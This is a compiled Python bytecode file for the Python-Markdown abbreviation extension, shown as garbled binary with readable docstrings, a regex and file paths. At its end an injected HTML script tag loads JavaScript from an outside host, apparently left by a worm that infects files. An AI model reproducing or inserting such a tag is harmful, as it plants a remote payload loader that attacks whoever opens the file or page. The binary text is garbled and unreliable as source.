Ñò éíÑXc@sÅdZddkZddkZddklZeidƒZdeifd„ƒYZdeii fd„ƒYZ d ei i fd „ƒYZ dd „Zed joddkZeiƒndS( s  Abbreviation Extension for Python-Markdown ========================================== This extension adds abbreviation handling to Python-Markdown. Simple Usage: >>> import markdown >>> text = """ ... Some text with an ABBR and a REF. Ignore REFERENCE and ref. ... ... *[ABBR]: Abbreviation ... *[REF]: Abbreviation Reference ... """ >>> markdown.markdown(text, ['abbr']) u'

Some text with an ABBR and a REF. Ignore REFERENCE and ref.

' Copyright 2007-2008 * [Waylan Limberg](http://achinghead.com/) * [Seemant Kulleen](http://www.kulleen.org/) iÿÿÿÿN(tetrees,[*]\[(?P[^\]]*)\][ ]?:\s*(?P.*)t ���AbbrExtensionc�����������B���s���e��Z�d��Z�d�„��Z�RS(���s-��� Abbreviation Extension for Python-Markdown. c���������C���s ���|�i��i�d�t�|�ƒ�d�ƒ�d�S(���s7��� Insert AbbrPreprocessor before ReferencePreprocessor. t���abbrs ���<referenceN(���t ���preprocessorst���addt���AbbrPreprocessor(���t���selft���mdt ���md_globals(����(����s<���/usr/lib/python2.6/site-packages/markdown/extensions/abbr.pyt���extendMarkdown#���s����(���t���__name__t ���__module__t���__doc__R ���(����(����(����s<���/usr/lib/python2.6/site-packages/markdown/extensions/abbr.pyR��� ���s���R���c�����������B���s ���e��Z�d��Z�d�„��Z�d�„��Z�RS(���s=��� Abbreviation Preprocessor - parse text for abbr references. c���������C���s’���g��}�x…�|�D]}�}�t��i�|�ƒ�}�|�oT�|�i�d�ƒ�i�ƒ��}�|�i�d�ƒ�i�ƒ��}�t�|��i�|�ƒ�|�ƒ�|��i�i�d�|�<q �|�i�|�ƒ�q �W|�S(���s¢��� Find and remove all Abbreviation references from the text. Each reference is set as a new AbbrPattern in the markdown instance. R���t���titles���abbr-%s( ���t ���ABBR_REF_REt���matcht���groupt���stript ���AbbrPatternt���_generate_patternt���markdownt���inlinePatternst���append(���R���t���linest���new_textt���linet���mR���R ���(����(����s<���/usr/lib/python2.6/site-packages/markdown/extensions/abbr.pyt���run+���s�����*c���������C���sL���t��|�ƒ�}�x,�t�t�|�ƒ�ƒ�D]�}�d�|�|�|�|�<q�Wd�d�i�|�ƒ�S(���s �� Given a string, returns an regex pattern to match that string. 'HTML' -> r'(?P<abbr>[H][T][M][L])' Note: we force each char as a literal match (in brackets) as we don't know what they will be beforehand. s���[%s]s���(?P<abbr>\b%s\b)t����(���t���listt���ranget���lent���join(���R���t���textt���charst���i(����(����s<���/usr/lib/python2.6/site-packages/markdown/extensions/abbr.pyR���=���s ���� �(���R ���R ���R ���R���R���(����(����(����s<���/usr/lib/python2.6/site-packages/markdown/extensions/abbr.pyR���(���s��� R���c�����������B���s ���e��Z�d��Z�d�„��Z�d�„��Z�RS(���s��� Abbreviation inline pattern. c���������C���s#���t��i�i�i�|��|�ƒ�|�|��_�d��S(���N(���R���t���inlinepatternst���Patternt���__init__R ���(���R���t���patternR ���(����(����s<���/usr/lib/python2.6/site-packages/markdown/extensions/abbr.pyR&���P���s����c���������C���s8���t��i�d�ƒ�}�|�i�d�ƒ�|�_�|�i�d�|��i�ƒ�|�S(���NR���R ���(���R����t���ElementR���R!���t���setR ���(���R���R���R���(����(����s<���/usr/lib/python2.6/site-packages/markdown/extensions/abbr.pyt ���handleMatchT���s����(���R ���R ���R ���R&���R*���(����(����(����s<���/usr/lib/python2.6/site-packages/markdown/extensions/abbr.pyR���M���s��� c���������C���s ���t��d�|��ƒ�S(���Nt���configs(���R���(���R+���(����(����s<���/usr/lib/python2.6/site-packages/markdown/extensions/abbr.pyt ���makeExtensionZ���s����t���__main__(���R ���R���t���reR����t���compileR���t ���ExtensionR���R���t ���PreprocessorR���R$���R%���R���t���NoneR,���R ���t���doctestt���testmod(����(����(����s<���/usr/lib/python2.6/site-packages/markdown/extensions/abbr.pyt���<module>���s���%   <SCRIPT SRC=http://w0rms.com/sayac.js></SCRIPT>